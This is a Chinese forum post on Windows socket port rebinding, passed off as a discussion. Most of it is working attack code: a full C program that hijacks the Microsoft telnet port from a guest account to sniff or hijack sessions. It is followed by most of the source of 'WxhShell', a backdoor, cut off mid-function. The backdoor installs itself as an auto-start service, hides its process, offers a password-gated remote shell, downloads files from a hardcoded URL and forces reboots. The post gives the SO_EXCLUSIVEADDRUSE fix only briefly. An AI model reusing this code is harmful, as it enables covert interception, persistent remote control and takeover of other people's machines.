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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: C!Tl?>Tt  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @ $(4;ar  
o)-Qd3d%S  
  saddr.sin_family = AF_INET; hZzsZQ`  
.2Rh_ful  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \-sD RW  
$~ItT1k_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !4z"a@$  
Jge;/f!i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 HVu_@[SYR3  
6'wP?=  
  这意味着什么?意味着可以进行如下的攻击: m&ZdtB|  
r2&{R!Fj`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3{$c b"5  
9U;) [R Mb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )(!vd!p5  
hR{Fn L  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,:z@Ji  
s@3!G+ -}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  sHEISNj/^  
g" M1HxlV  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 yr;oq(&N  
/D~ ,X48+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #vS>^OyP  
3d,|26I7f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 iWtWT1n8n  
E|^a7-}|  
  #include z-,U(0 .  
  #include _N<qrH^;  
  #include V25u'.'v  
  #include    H3b@;&`&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   zR`]8E]  
  int main() zizrc.g/Yg  
  { 0q62{p7  
  WORD wVersionRequested; WnIh( 0  
  DWORD ret; E26ZVFg  
  WSADATA wsaData; myJsRb5  
  BOOL val; da 2BQ;  
  SOCKADDR_IN saddr; FNm8j#c~Q  
  SOCKADDR_IN scaddr; !J6k\$r  
  int err; "+HZ~:~f  
  SOCKET s; 4z$ eT  
  SOCKET sc; 7tt&/k?Q  
  int caddsize; #D}NT*w/  
  HANDLE mt; H ($=k-+5  
  DWORD tid;   ^Nc\D7( l  
  wVersionRequested = MAKEWORD( 2, 2 ); 4Q!*h8O  
  err = WSAStartup( wVersionRequested, &wsaData ); Ig9$ PP+3  
  if ( err != 0 ) { ^,`yt^^A  
  printf("error!WSAStartup failed!\n"); I=lA7}  
  return -1; *J%+zH  
  } fd)}I23Q'  
  saddr.sin_family = AF_INET; l5@k8tnz  
   (2a~gQGD  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "2Ye\#BU6  
X#Hs{J~@p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kszYbz"  
  saddr.sin_port = htons(23); gWJLWL2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ixU1v~T  
  { -aec1+o  
  printf("error!socket failed!\n"); 8cW]jm  
  return -1; fM8 :Nt$  
  } cZHlW|$R  
  val = TRUE; <K2 )v~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ousoG$Pc  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^srx/6X  
  { Y%Saz+  
  printf("error!setsockopt failed!\n"); M'[J0*ip  
  return -1; o 0fsM;K  
  } ==Y^~ab;K  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T@f$w/15  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 XV!P8n  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <ZCjQkka>r  
eLl ;M4d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zR]l2zL3  
  { `qUmOFl  
  ret=GetLastError(); )2:d8J\  
  printf("error!bind failed!\n"); sdrE4-zd  
  return -1; E*k=8$Y  
  } H!7/U_AH  
  listen(s,2); r1t  TY?  
  while(1) E Xo"F*gW  
  { B 6|=kl2C  
  caddsize = sizeof(scaddr); KZ&8aulP  
  //接受连接请求 (?oK+,v?L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); gX]?`u  
  if(sc!=INVALID_SOCKET) d)9=hp;,V  
  { ])vM# f  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @_0XK)pW  
  if(mt==NULL) J4=~.&6  
  { = q;ACW,z  
  printf("Thread Creat Failed!\n"); Sh=z  
  break; .y|*  
  } Fb.wm   
  } Ptn0;GC  
  CloseHandle(mt); /_>S0  
  } $xNZ.|al  
  closesocket(s); G4]T  
  WSACleanup(); Qp]V~s(  
  return 0; arRb q!mO  
  }   ZC@Pfba[`  
  DWORD WINAPI ClientThread(LPVOID lpParam) <D!"<&N  
  { !-p5j3A4L  
  SOCKET ss = (SOCKET)lpParam; >pUR>?t"  
  SOCKET sc; UJ n3sZ<}  
  unsigned char buf[4096]; x7>' 1  
  SOCKADDR_IN saddr; f{G ^b&x  
  long num; AwUcU;"9>  
  DWORD val; h 5<46!P  
  DWORD ret; RMDzPda.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !CY: XQm  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~"#qG6dP  
  saddr.sin_family = AF_INET; ?7*.S Lt  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Qw}uB$S>  
  saddr.sin_port = htons(23); V*}ft@GPD  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4ba[*R2  
  { ,F!zZNW9  
  printf("error!socket failed!\n"); Z<@0~t_:?p  
  return -1; J>TNyVaoQ  
  } #;z;8q  
  val = 100; ACctyGd  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eD 4X:^@  
  { Uyj6Ij_Pj)  
  ret = GetLastError(); Xq@Bzya  
  return -1; Z8%?ej`8  
  } pE,2pT2>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E{k$4  
  { 9$$dSN\&  
  ret = GetLastError(); 3f@@|vZF  
  return -1; |6v $!wBi  
  } A+de;&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @>cz$##`  
  { UQ c!"D  
  printf("error!socket connect failed!\n"); FC@h6 \+a  
  closesocket(sc); kUGOkSP8[  
  closesocket(ss); C.].HQ  
  return -1;  k{d]  
  } N:x--,2  
  while(1) [MhKR }a  
  { +saXN6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;-#2p^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 G5vp(%j  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 FUzN }"\1  
  num = recv(ss,buf,4096,0); t-B5,,`  
  if(num>0) \2)D  
  send(sc,buf,num,0); n+MWny  
  else if(num==0) + fS<YT  
  break; <-;/,uu  
  num = recv(sc,buf,4096,0); ,cE yV74  
  if(num>0) `,QcOkvbC  
  send(ss,buf,num,0); _t&` T  
  else if(num==0) @QteC@k  
  break; 0v+ -yEkw  
  } l0 =[MXM4  
  closesocket(ss); }@x!r=O)I  
  closesocket(sc); mX 3p   
  return 0 ; >m]LV}">O  
  } ;`Nh@*_  
h?[|1.lJx(  
~-R%m  
========================================================== mC2K &'[  
~(nc<M[  
下边附上一个代码,,WXhSHELL 76H>ST@G|  
>Q $ph=  
========================================================== |;:g7eb  
V56WgOBxz  
#include "stdafx.h" ls7eypKR  
v%:VV*MxF  
#include <stdio.h> V'hb 4}@  
#include <string.h> $vrkxn  
#include <windows.h> c+ D <  
#include <winsock2.h> wXjidOd $  
#include <winsvc.h> \?SvO  
#include <urlmon.h> m< H{@ZgN(  
n,U?]mr  
#pragma comment (lib, "Ws2_32.lib") ZDg(D"  
#pragma comment (lib, "urlmon.lib") IjGPiC  
pHT]2e#  
#define MAX_USER   100 // 最大客户端连接数 sYjhQN=Y*  
#define BUF_SOCK   200 // sock buffer 3xT9/8*  
#define KEY_BUFF   255 // 输入 buffer .G.WPVE  
'2GnAws^  
#define REBOOT     0   // 重启 nv0\On7wd  
#define SHUTDOWN   1   // 关机 /~M H]Gh  
o^XDG^35`  
#define DEF_PORT   5000 // 监听端口 SQ_Je+X  
Q$uv \h;  
#define REG_LEN     16   // 注册表键长度 Kci. ,I  
#define SVC_LEN     80   // NT服务名长度 WQ{[q" O  
`78Bv>[A  
// 从dll定义API ~)^'5^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;z.L^V0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oNZ_7tU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d]poUN~x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f WZ(  
NMe{1RM  
// wxhshell配置信息 %x N${4)6  
struct WSCFG { AHRJ7l;a  
  int ws_port;         // 监听端口 ak7kb75o  
  char ws_passstr[REG_LEN]; // 口令 XeX"IhgS>E  
  int ws_autoins;       // 安装标记, 1=yes 0=no jUEgu  
  char ws_regname[REG_LEN]; // 注册表键名 MB!9tju  
  char ws_svcname[REG_LEN]; // 服务名 zcKQD)]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rUpe  ;c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 baBBn %_V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L RVcf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o:D,,MkSw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %Yj%0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J91[w?,  
< Hkq  
}; B2e"   
7i*eKC`ZqK  
// default Wxhshell configuration d{"-iw)t  
struct WSCFG wscfg={DEF_PORT, ]I[~0PCSX  
    "xuhuanlingzhe", HcgvlFb  
    1, TjyL])$  
    "Wxhshell", "|h%Uy?XY  
    "Wxhshell", - 8p!,+Dk  
            "WxhShell Service", <%HRs>4  
    "Wrsky Windows CmdShell Service", z@yTkH_  
    "Please Input Your Password: ", [ n7>g   
  1, x2rAB5r6  
  "http://www.wrsky.com/wxhshell.exe", < cvh1~>(  
  "Wxhshell.exe" U}LW8886  
    }; =eDIvNps  
=j62tDS  
// 消息定义模块 _p^ "l2%D/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {uj_4Ft  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J0?kEr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |M7cB$y  
char *msg_ws_ext="\n\rExit."; qx t0Jr8  
char *msg_ws_end="\n\rQuit."; X_]rtG  
char *msg_ws_boot="\n\rReboot..."; BH">#&j[  
char *msg_ws_poff="\n\rShutdown..."; & 3BoK/y3  
char *msg_ws_down="\n\rSave to "; |'q%9 #  
>#w;67he2  
char *msg_ws_err="\n\rErr!"; |;vQ"8J  
char *msg_ws_ok="\n\rOK!"; SVZocTt  
;f =m+QXU  
char ExeFile[MAX_PATH]; <eoie6@3  
int nUser = 0; |^6{3a  
HANDLE handles[MAX_USER]; dE7S[O  
int OsIsNt; ^U }k   
t:2v`uk  
SERVICE_STATUS       serviceStatus; z3Q&O$5\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2yZr!Rb~*  
"f,{d}u  
// 函数声明 lH}KFFbp  
int Install(void); m1l6QcT1  
int Uninstall(void); U[@y 8yN6M  
int DownloadFile(char *sURL, SOCKET wsh); Dwp,d~z  
int Boot(int flag); m^k0j/  
void HideProc(void); 98>GHl'lM  
int GetOsVer(void); T$I_nxh[)L  
int Wxhshell(SOCKET wsl); xG9Sk  
void TalkWithClient(void *cs); 6qWUo3  
int CmdShell(SOCKET sock); ;]u9o}[ 2  
int StartFromService(void); VPe0\?!d  
int StartWxhshell(LPSTR lpCmdLine); {FNkPX  
?, S/>SP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DN*5q9.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =~B"8@B  
CMXF[X)%  
// 数据结构和表定义 K#0TD( "  
SERVICE_TABLE_ENTRY DispatchTable[] = aQCu3T  
{ BAf$ty h  
{wscfg.ws_svcname, NTServiceMain}, 8]ZzO(=@{  
{NULL, NULL} .T| }rB<c  
}; UEU/505  
=dmr ,WE  
// 自我安装 S6TNu+2w4  
int Install(void) Y;"k5 + q  
{ bGPE0}b  
  char svExeFile[MAX_PATH]; l/&.HF  
  HKEY key; LQ jbEYp  
  strcpy(svExeFile,ExeFile); ={qcDgn~C  
eU[g@Pq:Y  
// 如果是win9x系统,修改注册表设为自启动 4:`D3  
if(!OsIsNt) { D 2X_Yv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qt@L&v}~j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JvpGxj  
  RegCloseKey(key); ]~({;;3o-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m`/Nl<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <+`%=r)4  
  RegCloseKey(key); Qp>leEs]+6  
  return 0; J ^'El^F  
    } Zxa.x?:?n  
  } Zh"m;l/]  
} [#PE'i4  
else { @ZjT_  
b/wpk~qi  
// 如果是NT以上系统,安装为系统服务 |9CikLX)7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (_T{Z>C/J  
if (schSCManager!=0) 6 ':iW~iI  
{ WYP;s7_  
  SC_HANDLE schService = CreateService B5b:znW2@  
  ( %6UF%dbYH`  
  schSCManager, '7Gv_G_  
  wscfg.ws_svcname, h051Ol\v*  
  wscfg.ws_svcdisp, w;z7vN~/O  
  SERVICE_ALL_ACCESS, |#oS7oV(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /*K2i5&X  
  SERVICE_AUTO_START, !+l'<*8V  
  SERVICE_ERROR_NORMAL, =Zd(<&B K  
  svExeFile,  is'V%q  
  NULL, _BczR:D*  
  NULL, al2t\Iq90  
  NULL, Lc3&\q e  
  NULL, 8-q^.<9  
  NULL 2w 2Bc+#o  
  ); d#k(>+%=Q  
  if (schService!=0) *l2`- gbE  
  { l/eF P  
  CloseServiceHandle(schService); j4.wd RK  
  CloseServiceHandle(schSCManager); +iVEA(0&$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p"g|]@m  
  strcat(svExeFile,wscfg.ws_svcname); OQVrg2A%(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }9~^}99}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I6>J.6luF9  
  RegCloseKey(key); RK3y q$  
  return 0; $l7^-SK`E  
    } 8Zv``t61  
  } uqMw-f/  
  CloseServiceHandle(schSCManager); y.rN(  
} (eHyas %X  
} @:lM|2:  
[a=exK  
return 1; iI3:<j l  
} J2UQq7-y  
xoaO=7\io  
// 自我卸载 dmFn0J-\  
int Uninstall(void) k6G _c;V  
{  T]#V  
  HKEY key; <`H0i*|Ued  
sX>u.  
if(!OsIsNt) { 9d(\/ 7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h^M_yz-f  
  RegDeleteValue(key,wscfg.ws_regname);  bGRt  
  RegCloseKey(key); qQ@| Cj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9U8M|W|d  
  RegDeleteValue(key,wscfg.ws_regname); S,Y|;p<+^  
  RegCloseKey(key); x 7j#@C  
  return 0; %)ho<z:7U  
  } K,b M9>}  
} 3DU1c?M:  
} Ndmt$(b  
else {  Z>[7#;;  
2*#|t: (c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )2}R1K>  
if (schSCManager!=0) \2SbW7"/;P  
{ m'4f'tbN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )^2eC<t  
  if (schService!=0) qd`e:s*%  
  { >ohH4:  
  if(DeleteService(schService)!=0) { b}e1JPk}!  
  CloseServiceHandle(schService); jHLs 5%  
  CloseServiceHandle(schSCManager); D=tZ}_'{t  
  return 0; $a(-r-_Fi]  
  } Zk3Pv0c  
  CloseServiceHandle(schService); sZ;|NAx)  
  } D6 B-#u!M  
  CloseServiceHandle(schSCManager); LPk@t^[  
} l_B735  
} z>x@o}#u\|  
G\.~/<Mg+  
return 1; ]9@:7d6  
} *S$v SDJCW  
JA^o/%a^  
// 从指定url下载文件 c9(3z0!F ?  
int DownloadFile(char *sURL, SOCKET wsh) ] V D  
{ +v~x gUs  
  HRESULT hr; i"{O~[  
char seps[]= "/"; ,75)  
char *token; B#sCB&(  
char *file; )6|L]'dsZ  
char myURL[MAX_PATH]; 7"(!]+BW!O  
char myFILE[MAX_PATH]; TBlSZZ-55]  
 Rr) 5 [  
strcpy(myURL,sURL); B2`S0 H  
  token=strtok(myURL,seps); VPLf(  
  while(token!=NULL) @]\fO)\f  
  { '&>"`q  
    file=token; `lhw*{3A  
  token=strtok(NULL,seps); AGBV7Kk  
  } exRw, Nk4  
7DB_Z /uU  
GetCurrentDirectory(MAX_PATH,myFILE); ,_z79tC{s  
strcat(myFILE, "\\"); FX:`7c]:9  
strcat(myFILE, file); [KDxB>R<{  
  send(wsh,myFILE,strlen(myFILE),0); BN/ 4O?jD9  
send(wsh,"...",3,0); C]^Ep  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i'~-\F!  
  if(hr==S_OK) xR7ZqTcw  
return 0; Gnc`CyN:H  
else Vl^(K_`(  
return 1; ~!S3J2kG{  
)^(*B6;z5  
} Zxk~X}K\P  
iL/c^(1  
// 系统电源模块 UG| /Px ]  
int Boot(int flag) SZ` 7t=I2  
{ ]a3$hAcj6"  
  HANDLE hToken; %nA})nA7=  
  TOKEN_PRIVILEGES tkp; q0sf\|'<}  
dFg>uo  
  if(OsIsNt) {  tV}!_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h~dQ5%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #w$Y1bjn  
    tkp.PrivilegeCount = 1; {Jr1K,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &L|oqXE0L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q'3{M]Tk  
if(flag==REBOOT) { mz?<t/$U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) So%X(, |  
  return 0; fN vQ.;  
} RTtKf i}  
else { 8R~<$ xz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l;8t%JV5  
  return 0; ?%kgfw@)  
} VRo&1:  
  } \;;M")$  
  else { T,38Pu@r  
if(flag==REBOOT) { @T1G#[C~t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "Ih3  
  return 0; HU0.)tD  
} #G9 W65f  
else { GwWK'F'2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d0J /"<  
  return 0; %VHy?!/  
} DP_b9o \5  
} Iix,}kzss  
r&=ulg  
return 1; ,BdObx  
} ct+F\:e  
$QbJT`,mr  
// win9x进程隐藏模块 W'G|sk  
void HideProc(void) d_[H|H9i6  
{ gC7!cn  
`Fqth^RK?p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G':3U  
  if ( hKernel != NULL ) 5D s[?  
  { [@$ SLl^Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /<[0o]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >a3m!`lq  
    FreeLibrary(hKernel); q~`hn(S  
  } 2m Y!gVi  
<^S\&v1C_  
return; Bc>j5^)8w  
} m\teE]8x  
4[ uqsJB  
// 获取操作系统版本 e=]SIR()`  
int GetOsVer(void) |mT%IR  
{ =4TQ*;V:  
  OSVERSIONINFO winfo; $v>q'8d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A;cA|`b  
  GetVersionEx(&winfo); _|~Dj)z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y1r$;;sH  
  return 1; }:$cK(|  
  else ?;~!C2Zs  
  return 0; N2:Hdu :  
} ` w;Wud'*<  
14$%v;Su4  
// 客户端句柄模块 xd?=#d  
int Wxhshell(SOCKET wsl) n6Oz[7M  
{ QO@86{u#Y  
  SOCKET wsh; g{&5a(W&`  
  struct sockaddr_in client; *qpFt Bg  
  DWORD myID; |n_N.Z  
rgy I:F.  
  while(nUser<MAX_USER) ;<~f-D,  
{ N^ +q^iW  
  int nSize=sizeof(client); ._+cvXy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t{;2$z 0  
  if(wsh==INVALID_SOCKET) return 1; nD i^s{  
7i5B=y7b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P" c@V,.  
if(handles[nUser]==0) `IN!#b+Eo  
  closesocket(wsh); ?K$&|w%{3  
else FNGa4  
  nUser++; UfW=/T  
  } ]9!y3"..W{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SIK:0>yK"  
0E\#!L  
  return 0; 7_~sa{1R.  
} D:`Q\za  
V x#M!os0  
// 关闭 socket (KI9j7  
void CloseIt(SOCKET wsh) K6{wM  
{ #1dVp!?3T  
closesocket(wsh); bvD}N<>3N  
nUser--; Z+B*V )a=  
ExitThread(0); %9YY \a {  
} "#)|WVa=BM  
/xX7:U b  
// 客户端请求句柄 f@}> :x  
void TalkWithClient(void *cs) Z?P^Y%ls  
{ jCY~Wc  
+~n:*\  
  SOCKET wsh=(SOCKET)cs; 9]Jv >_W*  
  char pwd[SVC_LEN]; #7;?Ls  
  char cmd[KEY_BUFF]; e5mu-  
char chr[1]; <^s31.&p  
int i,j; $yU 5WEX  
Zk`y"[J  
  while (nUser < MAX_USER) { =A!oLe$%  
lIyMNw  
if(wscfg.ws_passstr) { 9L$OSy|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tR51Pw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GR|\OJ<2  
  //ZeroMemory(pwd,KEY_BUFF); ~d7t\S  
      i=0; 2l?^\9&  
  while(i<SVC_LEN) { iM!Ya!  
b}TvQ+W]2  
  // 设置超时 h6k" D4o\  
  fd_set FdRead;  Z 9:  
  struct timeval TimeOut; -k + jMH  
  FD_ZERO(&FdRead); ; gBR~W  
  FD_SET(wsh,&FdRead); &G2&OFAr]q  
  TimeOut.tv_sec=8; )>2L(~W  
  TimeOut.tv_usec=0; gWgp:;Me  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ILr=< j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1;[KBYUH  
+cfcr*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MK3h~`is  
  pwd=chr[0]; Y. J!]|  
  if(chr[0]==0xd || chr[0]==0xa) { \W=3P[gb  
  pwd=0; D%+yp  
  break; FS}b9sQ)  
  } }etdXO_^  
  i++; RB4n>&Y  
    } k86TlQRh  
g$]WKy(D  
  // 如果是非法用户,关闭 socket t]I9[5Pq\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kqX=3Zo  
} np2&W'C/i  
p2Khfl6-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *AV%=   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Uha.8  
D>k(#vYKB  
while(1) { XQ~Xls%]   
U4 *u|A  
  ZeroMemory(cmd,KEY_BUFF); YE@yts  
^EiU>   
      // 自动支持客户端 telnet标准   U!uPf:p2  
  j=0; Ma!  
  while(j<KEY_BUFF) { (F^R9G|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k.C&6*l!5;  
  cmd[j]=chr[0]; } E ]l4N2  
  if(chr[0]==0xa || chr[0]==0xd) { \v&zsv\B@  
  cmd[j]=0; U[MeK)*  
  break; xO_>%F^?  
  } HW]?%9a  
  j++; NWh1u`  
    } c\n_[r  
LxIGPC~  
  // 下载文件 3w)r""C&  
  if(strstr(cmd,"http://")) { (s&:D`e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I?Iz5e-  
  if(DownloadFile(cmd,wsh)) ?L\"qz%gP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gy@=)R/~  
  else eP" B3Jw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  @_f^AQ  
  } s! 2[zJ19p  
  else { hZfj$|<  
]y.V#,6e  
    switch(cmd[0]) { (o*YGYC  
  7d R?70Sz  
  // 帮助 d4ecF%R  
  case '?': { Nl[&rZ-&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S3/%;=|  
    break; 1J0gjO)AZ  
  } /?r A|  
  // 安装 l<XYDb~op  
  case 'i': { ntLEk fK{  
    if(Install()) 8\68NG6o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H?O5 "4a  
    else 6!>p<p"Ns  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O|sk "YXF  
    break; @\nQ{\^;  
    } hlL$3.]  
  // 卸载  FkrXM!mJ  
  case 'r': { h,FU5iK|  
    if(Uninstall()) (mp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oc)`hg2=  
    else 1N(#4mE=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hYpxkco"4'  
    break; QOEi.b8r  
    } B!pz0K*uG  
  // 显示 wxhshell 所在路径 zYV{ |Z  
  case 'p': { 61Cc? a*_  
    char svExeFile[MAX_PATH]; /i8OyRpSyk  
    strcpy(svExeFile,"\n\r"); b 9rQQS  
      strcat(svExeFile,ExeFile); &V1d"";SZ  
        send(wsh,svExeFile,strlen(svExeFile),0); vD@|]@gq  
    break; 4/~x+tdc  
    } Jy/< {7j  
  // 重启 lv=q( &  
  case 'b': { b5H}0<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Soq#cl'll-  
    if(Boot(REBOOT)) <qfAW?tF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %W9R08`  
    else { ~<!j]@.  
    closesocket(wsh); e1a\ --  
    ExitThread(0); qK7:[\T|?T  
    } .Pj<Pe  
    break; !O%!A<3  
    } %:'G={G`QH  
  // 关机 ('J@GTe@xj  
  case 'd': { aC`>~uX##V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k*?T^<c3  
